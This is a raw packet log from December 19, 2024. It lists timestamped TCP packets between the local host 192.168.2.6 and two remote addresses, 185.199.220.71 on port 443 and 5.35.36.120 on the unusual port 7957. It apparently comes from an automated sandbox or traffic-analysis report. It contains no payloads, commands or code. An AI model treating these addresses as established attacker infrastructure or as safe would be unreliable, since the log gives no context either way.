Dec 19, 2024 09:29:17.925607920 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.065001965 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.065066099 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.065109015 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.065119982 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.065172911 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.071820021 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.071882963 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.071907043 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.071917057 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.071947098 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.071968079 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.074445963 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.074515104 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.081640959 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.081695080 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.081818104 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.081818104 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.081829071 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.081875086 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.088603973 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.088632107 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.088681936 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.088694096 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.088721991 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.088735104 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.096801996 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.096817970 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.096873999 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.096884966 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.096900940 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.096920967 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.103689909 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.103707075 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.103775978 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.103789091 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.103830099 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.112198114 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.112215042 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.112302065 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.112310886 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.112353086 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.140922070 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.140944004 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.141024113 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.141036034 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.141244888 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.257930994 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.257962942 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.258078098 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.258090973 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.258225918 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.266129971 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.266149998 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.266212940 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.266222000 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.266247988 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.266258001 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.273577929 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.273596048 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.273659945 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.273669958 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.273711920 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.281991005 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.282006979 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.282105923 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.282116890 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.282159090 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.288903952 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.288919926 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.289053917 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.289063931 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.289161921 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.293504000 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.293549061 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.293572903 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.293582916 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.293597937 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.293627977 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.293742895 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:18.293787003 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:18.293838978 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:49.255872011 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:49.375489950 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:49.375598907 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:49.375793934 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:49.495368004 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:50.606394053 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:50.607815027 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:50.727335930 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:50.997862101 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.023462057 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.143412113 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425240040 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425312996 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425323963 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425429106 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.425441980 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425455093 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425465107 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425477028 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425493002 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.425524950 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.425719976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.425765991 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.433661938 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.433732986 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.433780909 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.442122936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.442135096 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.442182064 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.544922113 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.599206924 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.617315054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.617372036 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.617456913 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.621304035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.621335983 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.621386051 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.629183054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.629256010 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.629308939 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.636792898 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.636818886 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.636866093 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.644768953 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.644848108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.644912004 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.652627945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.652750969 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.652826071 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.660746098 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.660775900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.660815954 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.668598890 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.668757915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.668808937 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.676695108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.676708937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.676745892 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.684504032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.684771061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.684819937 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.692465067 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.692533016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.692574024 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.718765974 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.718975067 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.719047070 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.722870111 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.771091938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.809429884 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.809571981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.809639931 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.813425064 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.813467979 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.813510895 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.821338892 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.821528912 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.821579933 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.829598904 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.829715967 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.829763889 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.836962938 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.837135077 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.837191105 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.844578981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.844631910 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.844677925 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.852210999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.852391005 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.852447033 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.859761000 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.859859943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.859916925 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.864886999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.864988089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.865057945 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.869986057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.870346069 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.870538950 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.874989986 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.875096083 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.875144005 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.880063057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.880172014 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.880218029 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.885119915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.885282040 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.885328054 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.890183926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.890341043 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.890386105 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.895361900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.895582914 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.895629883 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.900394917 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.900432110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.900473118 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.905405045 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.905462027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.905507088 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.910800934 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.910818100 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.910871983 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.915357113 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.915474892 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.915518045 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.920406103 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.920475960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.920526981 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.925326109 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.925514936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.925568104 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.930352926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.930366993 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.930422068 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.935286999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.935374022 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.935421944 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.940201998 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.940224886 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.940268040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:51.945301056 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.945594072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:51.945638895 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.001543999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.001708984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.001768112 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.003792048 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.003899097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.003947020 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.008347034 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.008426905 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.008475065 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.013170958 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.013236046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.013283014 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.017340899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.017461061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.017508984 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.021667957 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.021758080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.021805048 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.025955915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.026129961 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.026173115 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.029922962 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.030030012 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.030076981 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.033668995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.033710957 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.033756018 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.037425041 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.037519932 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.037575006 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.041186094 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.041305065 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.041349888 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.044965029 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.044977903 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.045032978 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.048810959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.048890114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.048937082 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.051803112 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.051914930 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.051955938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.055285931 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.055463076 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.055511951 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.058712006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.058773994 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.058974981 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.060642958 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.060770035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.060818911 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.062654018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.062737942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.062774897 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.064640045 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.064745903 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.064791918 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.066654921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.066747904 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.066790104 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.068711996 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.068846941 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.068885088 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.070895910 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.071005106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.071050882 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.072701931 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.072799921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.072843075 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.074714899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.074799061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.074841976 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.076659918 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.076755047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.076798916 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.078699112 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.078717947 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.078757048 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.080802917 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.080816031 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.080856085 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.082801104 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.082914114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.082958937 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.084656954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.084791899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.084836960 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.086991072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.087074995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.087119102 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.088685036 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.088764906 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.088808060 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.090749025 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.090790033 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.090828896 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.092694044 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.092897892 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.092959881 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.094770908 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.094865084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.094901085 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.096710920 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.096786976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.096821070 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.098740101 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.098751068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.098788023 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.100713968 CET	7957	49792	5.35.36.120	192.168.2.6
